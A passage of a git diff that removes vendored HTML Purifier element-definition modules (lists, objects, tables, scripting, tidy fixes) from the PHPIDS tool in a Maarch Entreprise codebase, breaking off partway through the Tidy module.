$blockquote->content_model_type = 'optional'; - $blockquote->child = false; - - $br = $this->addBlankElement('br'); - $br->attr['clear'] = 'Enum#left,all,right,none'; - - $caption = $this->addBlankElement('caption'); - $caption->attr['align'] = 'Enum#top,bottom,left,right'; - - $div = $this->addBlankElement('div'); - $div->attr['align'] = $align; - - $dl = $this->addBlankElement('dl'); - $dl->attr['compact'] = 'Bool#compact'; - - for ($i = 1; $i <= 6; $i++) { - $h = $this->addBlankElement("h$i"); - $h->attr['align'] = $align; - } - - $hr = $this->addBlankElement('hr'); - $hr->attr['align'] = $align; - $hr->attr['noshade'] = 'Bool#noshade'; - $hr->attr['size'] = 'Pixels'; - $hr->attr['width'] = 'Length'; - - $img = $this->addBlankElement('img'); - $img->attr['align'] = 'Enum#top,middle,bottom,left,right'; - $img->attr['border'] = 'Pixels'; - $img->attr['hspace'] = 'Pixels'; - $img->attr['vspace'] = 'Pixels'; - - // figure out this integer business - - $li = $this->addBlankElement('li'); - $li->attr['value'] = new HTMLPurifier_AttrDef_Integer(); - $li->attr['type'] = 'Enum#s:1,i,I,a,A,disc,square,circle'; - - $ol = $this->addBlankElement('ol'); - $ol->attr['compact'] = 'Bool#compact'; - $ol->attr['start'] = new HTMLPurifier_AttrDef_Integer(); - $ol->attr['type'] = 'Enum#s:1,i,I,a,A'; - - $p = $this->addBlankElement('p'); - $p->attr['align'] = $align; - - $pre = $this->addBlankElement('pre'); - $pre->attr['width'] = 'Number'; - - // script omitted - - $table = $this->addBlankElement('table'); - $table->attr['align'] = 'Enum#left,center,right'; - $table->attr['bgcolor'] = 'Color'; - - $tr = $this->addBlankElement('tr'); - $tr->attr['bgcolor'] = 'Color'; - - $th = $this->addBlankElement('th'); - $th->attr['bgcolor'] = 'Color'; - $th->attr['height'] = 'Length'; - $th->attr['nowrap'] = 'Bool#nowrap'; - $th->attr['width'] = 'Length'; - - $td = $this->addBlankElement('td'); - $td->attr['bgcolor'] = 'Color'; - $td->attr['height'] = 'Length'; - $td->attr['nowrap'] = 'Bool#nowrap'; - $td->attr['width'] = 'Length'; - - $ul = $this->addBlankElement('ul'); - $ul->attr['compact'] = 'Bool#compact'; - $ul->attr['type'] = 'Enum#square,disc,circle'; - - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/List.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/List.php deleted file mode 100755 index 57aad7b39e66da86cfdc74195f27bcf104a8df76..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/List.php +++ /dev/null @@ -1,37 +0,0 @@ -<?php - -/** - * XHTML 1.1 List Module, defines list-oriented elements. Core Module. - */ -class HTMLPurifier_HTMLModule_List extends HTMLPurifier_HTMLModule -{ - - public $name = 'List'; - - // According to the abstract schema, the List content set is a fully formed - // one or more expr, but it invariably occurs in an optional declaration - // so we're not going to do that subtlety. It might cause trouble - // if a user defines "List" and expects that multiple lists are - // allowed to be specified, but then again, that's not very intuitive. - // Furthermore, the actual XML Schema may disagree. Regardless, - // we don't have support for such nested expressions without using - // the incredibly inefficient and draconic Custom ChildDef. - - public $content_sets = array('Flow' => 'List'); - - public function setup($config) { - $ol = $this->addElement('ol', 'List', 'Required: li', 'Common'); - $ol->wrap = "li"; - $ul = $this->addElement('ul', 'List', 'Required: li', 'Common'); - $ul->wrap = "li"; - $this->addElement('dl', 'List', 'Required: dt | dd', 'Common'); - - $this->addElement('li', false, 'Flow', 'Common'); - - $this->addElement('dd', false, 'Flow', 'Common'); - $this->addElement('dt', false, 'Inline', 'Common'); - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Name.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Name.php deleted file mode 100755 index 31300f36c17ba7fc5e69210d9f99e1f180552e55..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Name.php +++ /dev/null @@ -1,21 +0,0 @@ -<?php - -class HTMLPurifier_HTMLModule_Name extends HTMLPurifier_HTMLModule -{ - - public $name = 'Name'; - - public function setup($config) { - $elements = array('a', 'applet', 'form', 'frame', 'iframe', 'img', 'map'); - foreach ($elements as $name) { - $element = $this->addBlankElement($name); - $element->attr['name'] = 'CDATA'; - if (!$config->get('HTML.Attr.Name.UseCDATA')) { - $element->attr_transform_post['NameSync'] = new HTMLPurifier_AttrTransform_NameSync(); - } - } - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Nofollow.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Nofollow.php deleted file mode 100755 index 1ddc7345b65ca1587eecb8f8ef4e52d099024e2f..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Nofollow.php +++ /dev/null @@ -1,19 +0,0 @@ -<?php - -/** - * Module adds the nofollow attribute transformation to a tags. It - * is enabled by HTML.Nofollow - */ -class HTMLPurifier_HTMLModule_Nofollow extends HTMLPurifier_HTMLModule -{ - - public $name = 'Nofollow'; - - public function setup($config) { - $a = $this->addBlankElement('a'); - $a->attr_transform_post[] = new HTMLPurifier_AttrTransform_Nofollow(); - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/NonXMLCommonAttributes.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/NonXMLCommonAttributes.php deleted file mode 100755 index 7c0fc23ce28ada7338eab5a9fc6899a550c3a797..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/NonXMLCommonAttributes.php +++ /dev/null @@ -1,14 +0,0 @@ -<?php - -class HTMLPurifier_HTMLModule_NonXMLCommonAttributes extends HTMLPurifier_HTMLModule -{ - public $name = 'NonXMLCommonAttributes'; - - public $attr_collections = array( - 'Lang' => array( - 'lang' => 'LanguageCode', - ) - ); -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Object.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Object.php deleted file mode 100755 index 069a3df9b78b9c81ef9ac09e1ac8cb08ed690d1b..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Object.php +++ /dev/null @@ -1,47 +0,0 @@ -<?php - -/** - * XHTML 1.1 Object Module, defines elements for generic object inclusion - * @warning Users will commonly use <embed> to cater to legacy browsers: this - * module does not allow this sort of behavior - */ -class HTMLPurifier_HTMLModule_Object extends HTMLPurifier_HTMLModule -{ - - public $name = 'Object'; - public $safe = false; - - public function setup($config) { - - $this->addElement('object', 'Inline', 'Optional: #PCDATA | Flow | param', 'Common', - array( - 'archive' => 'URI', - 'classid' => 'URI', - 'codebase' => 'URI', - 'codetype' => 'Text', - 'data' => 'URI', - 'declare' => 'Bool#declare', - 'height' => 'Length', - 'name' => 'CDATA', - 'standby' => 'Text', - 'tabindex' => 'Number', - 'type' => 'ContentType', - 'width' => 'Length' - ) - ); - - $this->addElement('param', false, 'Empty', false, - array( - 'id' => 'ID', - 'name*' => 'Text', - 'type' => 'Text', - 'value' => 'Text', - 'valuetype' => 'Enum#data,ref,object' - ) - ); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Presentation.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Presentation.php deleted file mode 100755 index 2359ce855a553b69812a9905528b975676ce9231..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Presentation.php +++ /dev/null @@ -1,36 +0,0 @@ -<?php - -/** - * XHTML 1.1 Presentation Module, defines simple presentation-related - * markup. Text Extension Module. - * @note The official XML Schema and DTD specs further divide this into - * two modules: - * - Block Presentation (hr) - * - Inline Presentation (b, big, i, small, sub, sup, tt) - * We have chosen not to heed this distinction, as content_sets - * provides satisfactory disambiguation. - */ -class HTMLPurifier_HTMLModule_Presentation extends HTMLPurifier_HTMLModule -{ - - public $name = 'Presentation'; - - public function setup($config) { - $this->addElement('hr', 'Block', 'Empty', 'Common'); - $this->addElement('sub', 'Inline', 'Inline', 'Common'); - $this->addElement('sup', 'Inline', 'Inline', 'Common'); - $b = $this->addElement('b', 'Inline', 'Inline', 'Common'); - $b->formatting = true; - $big = $this->addElement('big', 'Inline', 'Inline', 'Common'); - $big->formatting = true; - $i = $this->addElement('i', 'Inline', 'Inline', 'Common'); - $i->formatting = true; - $small = $this->addElement('small', 'Inline', 'Inline', 'Common'); - $small->formatting = true; - $tt = $this->addElement('tt', 'Inline', 'Inline', 'Common'); - $tt->formatting = true; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Proprietary.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Proprietary.php deleted file mode 100755 index 944058d26a48c4486b389d62c2f06a34189d5913..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Proprietary.php +++ /dev/null @@ -1,33 +0,0 @@ -<?php - -/** - * Module defines proprietary tags and attributes in HTML. - * @warning If this module is enabled, standards-compliance is off! - */ -class HTMLPurifier_HTMLModule_Proprietary extends HTMLPurifier_HTMLModule -{ - - public $name = 'Proprietary'; - - public function setup($config) { - - $this->addElement('marquee', 'Inline', 'Flow', 'Common', - array( - 'direction' => 'Enum#left,right,up,down', - 'behavior' => 'Enum#alternate', - 'width' => 'Length', - 'height' => 'Length', - 'scrolldelay' => 'Number', - 'scrollamount' => 'Number', - 'loop' => 'Number', - 'bgcolor' => 'Color', - 'hspace' => 'Pixels', - 'vspace' => 'Pixels', - ) - ); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Ruby.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Ruby.php deleted file mode 100755 index 5af4ce98b4622d32760bd41f4b01793ad8a3a5c4..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Ruby.php +++ /dev/null @@ -1,27 +0,0 @@ -<?php - -/** - * XHTML 1.1 Ruby Annotation Module, defines elements that indicate - * short runs of text alongside base text for annotation or pronounciation. - */ -class HTMLPurifier_HTMLModule_Ruby extends HTMLPurifier_HTMLModule -{ - - public $name = 'Ruby'; - - public function setup($config) { - $this->addElement('ruby', 'Inline', - 'Custom: ((rb, (rt | (rp, rt, rp))) | (rbc, rtc, rtc?))', - 'Common'); - $this->addElement('rbc', false, 'Required: rb', 'Common'); - $this->addElement('rtc', false, 'Required: rt', 'Common'); - $rb = $this->addElement('rb', false, 'Inline', 'Common'); - $rb->excludes = array('ruby' => true); - $rt = $this->addElement('rt', false, 'Inline', 'Common', array('rbspan' => 'Number')); - $rt->excludes = array('ruby' => true); - $this->addElement('rp', false, 'Optional: #PCDATA', 'Common'); - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/SafeEmbed.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/SafeEmbed.php deleted file mode 100755 index b054c0c0d59f25f19dc3b621ea496b82ec0ecde3..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/SafeEmbed.php +++ /dev/null @@ -1,34 +0,0 @@ -<?php - -/** - * A "safe" embed module. See SafeObject. This is a proprietary element. - */ -class HTMLPurifier_HTMLModule_SafeEmbed extends HTMLPurifier_HTMLModule -{ - - public $name = 'SafeEmbed'; - - public function setup($config) { - - $max = $config->get('HTML.MaxImgLength'); - $embed = $this->addElement( - 'embed', 'Inline', 'Empty', 'Common', - array( - 'src*' => 'URI#embedded', - 'type' => 'Enum#application/x-shockwave-flash', - 'width' => 'Pixels#' . $max, - 'height' => 'Pixels#' . $max, - 'allowscriptaccess' => 'Enum#never', - 'allownetworking' => 'Enum#internal', - 'flashvars' => 'Text', - 'wmode' => 'Enum#window,transparent,opaque', - 'name' => 'ID', - ) - ); - $embed->attr_transform_post[] = new HTMLPurifier_AttrTransform_SafeEmbed(); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/SafeObject.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/SafeObject.php deleted file mode 100755 index acbfa7f773bef80b43430e107454280b9b35e39c..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/SafeObject.php +++ /dev/null @@ -1,52 +0,0 @@ -<?php - -/** - * A "safe" object module. In theory, objects permitted by this module will - * be safe, and untrusted users can be allowed to embed arbitrary flash objects - * (maybe other types too, but only Flash is supported as of right now). - * Highly experimental. - */ -class HTMLPurifier_HTMLModule_SafeObject extends HTMLPurifier_HTMLModule -{ - - public $name = 'SafeObject'; - - public function setup($config) { - - // These definitions are not intrinsically safe: the attribute transforms - // are a vital part of ensuring safety. - - $max = $config->get('HTML.MaxImgLength'); - $object = $this->addElement( - 'object', - 'Inline', - 'Optional: param | Flow | #PCDATA', - 'Common', - array( - // While technically not required by the spec, we're forcing - // it to this value. - 'type' => 'Enum#application/x-shockwave-flash', - 'width' => 'Pixels#' . $max, - 'height' => 'Pixels#' . $max, - 'data' => 'URI#embedded', - 'codebase' => new HTMLPurifier_AttrDef_Enum(array( - 'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0')), - ) - ); - $object->attr_transform_post[] = new HTMLPurifier_AttrTransform_SafeObject(); - - $param = $this->addElement('param', false, 'Empty', false, - array( - 'id' => 'ID', - 'name*' => 'Text', - 'value' => 'Text' - ) - ); - $param->attr_transform_post[] = new HTMLPurifier_AttrTransform_SafeParam(); - $this->info_injector[] = 'SafeObject'; - - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Scripting.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Scripting.php deleted file mode 100755 index 9c95d467a069e8d5c0c34292763c3f38093756b5..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Scripting.php +++ /dev/null @@ -1,54 +0,0 @@ -<?php - -/* - -WARNING: THIS MODULE IS EXTREMELY DANGEROUS AS IT ENABLES INLINE SCRIPTING -INSIDE HTML PURIFIER DOCUMENTS. USE ONLY WITH TRUSTED USER INPUT!!! - -*/ - -/** - * XHTML 1.1 Scripting module, defines elements that are used to contain - * information pertaining to executable scripts or the lack of support - * for executable scripts. - * @note This module does not contain inline scripting elements - */ -class HTMLPurifier_HTMLModule_Scripting extends HTMLPurifier_HTMLModule -{ - public $name = 'Scripting'; - public $elements = array('script', 'noscript'); - public $content_sets = array('Block' => 'script | noscript', 'Inline' => 'script | noscript'); - public $safe = false; - - public function setup($config) { - // TODO: create custom child-definition for noscript that - // auto-wraps stray #PCDATA in a similar manner to - // blockquote's custom definition (we would use it but - // blockquote's contents are optional while noscript's contents - // are required) - - // TODO: convert this to new syntax, main problem is getting - // both content sets working - - // In theory, this could be safe, but I don't see any reason to - // allow it. - $this->info['noscript'] = new HTMLPurifier_ElementDef(); - $this->info['noscript']->attr = array( 0 => array('Common') ); - $this->info['noscript']->content_model = 'Heading | List | Block'; - $this->info['noscript']->content_model_type = 'required'; - - $this->info['script'] = new HTMLPurifier_ElementDef(); - $this->info['script']->attr = array( - 'defer' => new HTMLPurifier_AttrDef_Enum(array('defer')), - 'src' => new HTMLPurifier_AttrDef_URI(true), - 'type' => new HTMLPurifier_AttrDef_Enum(array('text/javascript')) - ); - $this->info['script']->content_model = '#PCDATA'; - $this->info['script']->content_model_type = 'optional'; - $this->info['script']->attr_transform_pre['type'] = - $this->info['script']->attr_transform_post['type'] = - new HTMLPurifier_AttrTransform_ScriptRequired(); - } -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/StyleAttribute.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/StyleAttribute.php deleted file mode 100755 index 7fc37de77d199232242cfd7226db14b772b0c9ca..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/StyleAttribute.php +++ /dev/null @@ -1,24 +0,0 @@ -<?php - -/** - * XHTML 1.1 Edit Module, defines editing-related elements. Text Extension - * Module. - */ -class HTMLPurifier_HTMLModule_StyleAttribute extends HTMLPurifier_HTMLModule -{ - - public $name = 'StyleAttribute'; - public $attr_collections = array( - // The inclusion routine differs from the Abstract Modules but - // is in line with the DTD and XML Schemas. - 'Style' => array('style' => false), // see constructor - 'Core' => array(0 => array('Style')) - ); - - public function setup($config) { - $this->attr_collections['Style']['style'] = new HTMLPurifier_AttrDef_CSS(); - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Tables.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Tables.php deleted file mode 100755 index 951b822413de071c654389cd0b076531e59dc635..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Tables.php +++ /dev/null @@ -1,66 +0,0 @@ -<?php - -/** - * XHTML 1.1 Tables Module, fully defines accessible table elements. - */ -class HTMLPurifier_HTMLModule_Tables extends HTMLPurifier_HTMLModule -{ - - public $name = 'Tables'; - - public function setup($config) { - - $this->addElement('caption', false, 'Inline', 'Common'); - - $this->addElement('table', 'Block', - new HTMLPurifier_ChildDef_Table(), 'Common', - array( - 'border' => 'Pixels', - 'cellpadding' => 'Length', - 'cellspacing' => 'Length', - 'frame' => 'Enum#void,above,below,hsides,lhs,rhs,vsides,box,border', - 'rules' => 'Enum#none,groups,rows,cols,all', - 'summary' => 'Text', - 'width' => 'Length' - ) - ); - - // common attributes - $cell_align = array( - 'align' => 'Enum#left,center,right,justify,char', - 'charoff' => 'Length', - 'valign' => 'Enum#top,middle,bottom,baseline', - ); - - $cell_t = array_merge( - array( - 'abbr' => 'Text', - 'colspan' => 'Number', - 'rowspan' => 'Number', - ), - $cell_align - ); - $this->addElement('td', false, 'Flow', 'Common', $cell_t); - $this->addElement('th', false, 'Flow', 'Common', $cell_t); - - $this->addElement('tr', false, 'Required: td | th', 'Common', $cell_align); - - $cell_col = array_merge( - array( - 'span' => 'Number', - 'width' => 'MultiLength', - ), - $cell_align - ); - $this->addElement('col', false, 'Empty', 'Common', $cell_col); - $this->addElement('colgroup', false, 'Optional: col', 'Common', $cell_col); - - $this->addElement('tbody', false, 'Required: tr', 'Common', $cell_align); - $this->addElement('thead', false, 'Required: tr', 'Common', $cell_align); - $this->addElement('tfoot', false, 'Required: tr', 'Common', $cell_align); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Target.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Target.php deleted file mode 100755 index 59c403da0cad22a591cafe930f767ed4b391bd1d..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Target.php +++ /dev/null @@ -1,23 +0,0 @@ -<?php - -/** - * XHTML 1.1 Target Module, defines target attribute in link elements. - */ -class HTMLPurifier_HTMLModule_Target extends HTMLPurifier_HTMLModule -{ - - public $name = 'Target'; - - public function setup($config) { - $elements = array('a'); - foreach ($elements as $name) { - $e = $this->addBlankElement($name); - $e->attr = array( - 'target' => new HTMLPurifier_AttrDef_HTML_FrameTarget() - ); - } - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Text.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Text.php deleted file mode 100755 index 508e1a44fcc7adf2bea75135c1ca510801a8f671..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Text.php +++ /dev/null @@ -1,71 +0,0 @@ -<?php - -/** - * XHTML 1.1 Text Module, defines basic text containers. Core Module. - * @note In the normative XML Schema specification, this module - * is further abstracted into the following modules: - * - Block Phrasal (address, blockquote, pre, h1, h2, h3, h4, h5, h6) - * - Block Structural (div, p) - * - Inline Phrasal (abbr, acronym, cite, code, dfn, em, kbd, q, samp, strong, var) - * - Inline Structural (br, span) - * This module, functionally, does not distinguish between these - * sub-modules, but the code is internally structured to reflect - * these distinctions. - */ -class HTMLPurifier_HTMLModule_Text extends HTMLPurifier_HTMLModule -{ - - public $name = 'Text'; - public $content_sets = array( - 'Flow' => 'Heading | Block | Inline' - ); - - public function setup($config) { - - // Inline Phrasal ------------------------------------------------- - $this->addElement('abbr', 'Inline', 'Inline', 'Common'); - $this->addElement('acronym', 'Inline', 'Inline', 'Common'); - $this->addElement('cite', 'Inline', 'Inline', 'Common'); - $this->addElement('dfn', 'Inline', 'Inline', 'Common'); - $this->addElement('kbd', 'Inline', 'Inline', 'Common'); - $this->addElement('q', 'Inline', 'Inline', 'Common', array('cite' => 'URI')); - $this->addElement('samp', 'Inline', 'Inline', 'Common'); - $this->addElement('var', 'Inline', 'Inline', 'Common'); - - $em = $this->addElement('em', 'Inline', 'Inline', 'Common'); - $em->formatting = true; - - $strong = $this->addElement('strong', 'Inline', 'Inline', 'Common'); - $strong->formatting = true; - - $code = $this->addElement('code', 'Inline', 'Inline', 'Common'); - $code->formatting = true; - - // Inline Structural ---------------------------------------------- - $this->addElement('span', 'Inline', 'Inline', 'Common'); - $this->addElement('br', 'Inline', 'Empty', 'Core'); - - // Block Phrasal -------------------------------------------------- - $this->addElement('address', 'Block', 'Inline', 'Common'); - $this->addElement('blockquote', 'Block', 'Optional: Heading | Block | List', 'Common', array('cite' => 'URI') ); - $pre = $this->addElement('pre', 'Block', 'Inline', 'Common'); - $pre->excludes = $this->makeLookup( - 'img', 'big', 'small', 'object', 'applet', 'font', 'basefont' ); - $this->addElement('h1', 'Heading', 'Inline', 'Common'); - $this->addElement('h2', 'Heading', 'Inline', 'Common'); - $this->addElement('h3', 'Heading', 'Inline', 'Common'); - $this->addElement('h4', 'Heading', 'Inline', 'Common'); - $this->addElement('h5', 'Heading', 'Inline', 'Common'); - $this->addElement('h6', 'Heading', 'Inline', 'Common'); - - // Block Structural ----------------------------------------------- - $p = $this->addElement('p', 'Block', 'Inline', 'Common'); - $p->autoclose = array_flip(array("address", "blockquote", "center", "dir", "div", "dl", "fieldset", "ol", "p", "ul")); - - $this->addElement('div', 'Block', 'Flow', 'Common'); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Tidy.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Tidy.php deleted file mode 100755 index 51db706b8aee2f6c00d320e167a49729b210c5c6..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Tidy.php +++ /dev/null @@ -1,207 +0,0 @@ -<?php - -/** - * Abstract class for a set of proprietary modules that clean up (tidy) - * poorly written HTML. - * @todo Figure out how to protect some of these methods/properties - */ -class HTMLPurifier_HTMLModule_Tidy extends HTMLPurifier_HTMLModule -{ - - /** - * List of supported levels. Index zero is a special case "no fixes" - * level. - */ - public $levels = array(0 => 'none', 'light', 'medium', 'heavy'); - - /** - * Default level to place all fixes in. Disabled by default - */ - public $defaultLevel = null; - - /** - * Lists of fixes used by getFixesForLevel(). Format is: - * HTMLModule_Tidy->fixesForLevel[$level] = array('fix-1', 'fix-2'); - */ - public $fixesForLevel = array( - 'light' => array(), - 'medium' => array(), - 'heavy' => array() - ); - - /** - * Lazy load constructs the module by determining the necessary - * fixes to create and then delegating to the populate() function. - * @todo Wildcard matching and error reporting when an added or - * subtracted fix has no effect. - */ - public function setup($config) { - - // create fixes, initialize fixesForLevel - $fixes = $this->makeFixes(); - $this->makeFixesForLevel($fixes); - - // figure out which fixes to use - $level = $config->get('HTML.TidyLevel'); - $fixes_lookup = $this->getFixesForLevel($level); - - // get custom fix declarations: these need namespace processing - $add_fixes = $config->get('HTML.TidyAdd'); - $remove_fixes = $config->get('HTML.TidyRemove'); - - foreach ($fixes as $name => $fix) { - // needs to be refactored a little to implement globbing - if ( - isset($remove_fixes[$name]) || - (!isset($add_fixes[$name]) && !isset($fixes_lookup[$name])) - ) { - unset($fixes[$name]); - } - } - - // populate this module with necessary fixes - $this->populate($fixes); - - } - - /** - * Retrieves all fixes per a level, returning fixes for that specific - * level as well as all levels below it. - * @param $level String level identifier, see $levels for valid values - * @return Lookup up table of fixes - */ - public function getFixesForLevel($level) { - if ($level == $this->levels[0]) { - return array(); - } - $activated_levels = array(); - for ($i = 1, $c = count($this->levels); $i < $c; $i++) { - $activated_levels[] = $this->levels[$i]; - if ($this->levels[$i] == $level) break; - } - if ($i == $c) { - trigger_error( - 'Tidy level ' . htmlspecialchars($level) . ' not recognized', - E_USER_WARNING - ); - return array(); - } - $ret = array(); - foreach ($activated_levels as $level) { - foreach ($this->fixesForLevel[$level] as $fix) { - $ret[$fix] = true; - } - } - return $ret; - } - - /** - * Dynamically populates the $fixesForLevel member variable using - * the fixes array. It may be custom overloaded, used in conjunction - * with $defaultLevel, or not used at all. - */ - public function makeFixesForLevel($fixes) { - if (!isset($this->defaultLevel)) return; - if (!isset($this->fixesForLevel[$this->defaultLevel])) { - trigger_error( - 'Default level ' . $this->defaultLevel . ' does not exist', - E_USER_ERROR - ); - return; - } - $this->fixesForLevel[$this->defaultLevel] = array_keys($fixes); - } - - /** - * Populates the module with transforms and other special-case code - * based on a list of fixes passed to it - * @param $lookup Lookup table of fixes to activate - */ - public function populate($fixes) { - foreach ($fixes as $name => $fix) { - // determine what the fix is for - list($type, $params) = $this->getFixType($name); - switch ($type) { - case 'attr_transform_pre': - case 'attr_transform_post': - $attr = $params['attr']; - if (isset($params['element'])) { - $element = $params['element']; - if (empty($this->info[$element])) { - $e = $this->addBlankElement($element); - } else { - $e = $this->info[$element]; - } - } else { - $type = "info_$type"; - $e = $this; - } - // PHP does some weird parsing when I do - // $e->{$type}[$attr], so I have to assign a ref. - $f =& $e->{$type}; - $f[$attr] = $fix; - break; - case 'tag_transform': - $this->info_tag_transform[$params['element']] = $fix; - break; - case 'child': - case 'content_model_type': - $element = $params['element']; - if (empty($this->info[$element])) { - $e = $this->addBlankElement($element); - } else { - $e = $this->info[$element]; - } - $e->{$type} = $fix; - break; - default: - trigger_error("Fix type $type not supported", E_USER_ERROR); - break; - } - } - } - - /** - * Parses a fix name and determines what kind of fix it is, as well - * as other information defined by the fix - * @param $name String name of fix - * @return array string $fix_type, array $fix_parameters - * @note $fix_parameters is type dependant, see populate() for usage - * of these parameters - */ - public function getFixType($name) { - // parse it - $property = $attr = null; - if (strpos($name, '#') !== false) list($name, $property) = explode('#', $name); - if (strpos($name, '@') !== false) list($name, $attr) = explode('@', $name); - - // figure out the parameters - $params = array(); - if ($name !== '') $params['element'] = $name; - if (!is_null($attr)) $params['attr'] = $attr; - - // special case: attribute transform - if (!is_null($attr)) { - if (is_null($property)) $property = 'pre'; - $type = 'attr_transform_' . $property; - return array($type, $params); - } - - // special case: tag transform - if (is_null($property)) { - return array('tag_transform', $params); - } - - return array($property, $params); - - } - - /** - * Defines all fixes the module will perform in a compact - * associative array of fix name to fix implementation. - */ - public function 